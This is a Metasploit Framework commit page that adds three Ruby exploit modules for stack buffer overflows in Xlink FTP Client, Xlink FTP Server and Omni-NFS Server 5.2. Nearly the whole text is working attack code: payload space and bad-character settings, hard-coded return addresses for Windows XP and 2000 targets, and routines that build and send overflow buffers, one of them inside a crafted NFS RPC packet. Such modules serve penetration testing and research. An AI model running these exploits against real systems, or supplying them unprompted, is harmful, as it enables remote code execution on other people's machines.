added exploit modules xlink_nfsd.rb, xlink_client.rb and xlink_server.rb
git-svn-id: file:///home/svn/framework3/trunk@7123 4d416f70-5f16-0410-b530-b9f4589650daunstable
Mario Ceballos
parent
06818ae2bf
commit
65e57f209a
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Xlink FTP Client Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Xlink FTP Client 32
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Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
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When a overly long FTP server response is recieved by a client,
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arbitrary code may be executed.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://www.metasploit.com/' ],
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[ 'URL', 'http://www.xlink.com' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 550,
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'BadChars' => "\x00\x0a\x0d\().,",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x7ce02a2d } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 3 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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sploit = rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
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sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"
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print_status("Sending #{self.name}...")
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client.put(sploit)
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handler(client)
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service.close_client(client)
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end
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end
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Xlink FTP Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Xlink FTP Server
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that comes bundled with Omni-NFS Enterprise 5.2.
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When a overly long FTP request is sent to the server,
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arbitrary code may be executed.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision:$',
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'References' =>
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[
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[ 'URL', 'http://www.metasploit.com/' ],
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[ 'URL', 'http://www.xlink.com' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 260,
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1
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],
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'DisclosureDate' => 'Oct 3 2009',
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'DefaultTarget' => 0))
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deregister_options('FTPUSER', 'FTPPASS')
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end
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def check
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connect
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disconnect
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if (banner =~ /XLINK FTP Server/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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sploit = payload.encoded + [target.ret].pack('V')
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sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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@ -0,0 +1,84 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Omni-NFS Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Xlink Omni-NFS Server 5.2
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When sending a specially crafted nfs packet, an attacker may be able
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to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '20941' ],
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[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 336,
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'BadChars' => "\x00",
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'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 06 2006'))
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register_options([Opt::RPORT(2049)], self.class)
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end
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def exploit
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connect
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buff = payload.encoded
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buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
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buff << [target.ret].pack('V')
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buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
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buff << rand_text_english(251)
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pkt = [1].pack('N')
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pkt << [0].pack('N')
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pkt << [2].pack('N')
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pkt << [100005].pack('N')
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pkt << [1].pack('N')
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pkt << [1].pack('N')
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pkt << [1].pack('N')
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pkt << [400].pack('N')
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pkt << buff[0,400]
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pkt << [1].pack('N')
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pkt << [400].pack('N')
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pkt << buff[300,400]
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sploit = [pkt.length | 0x80000000].pack('N') + pkt
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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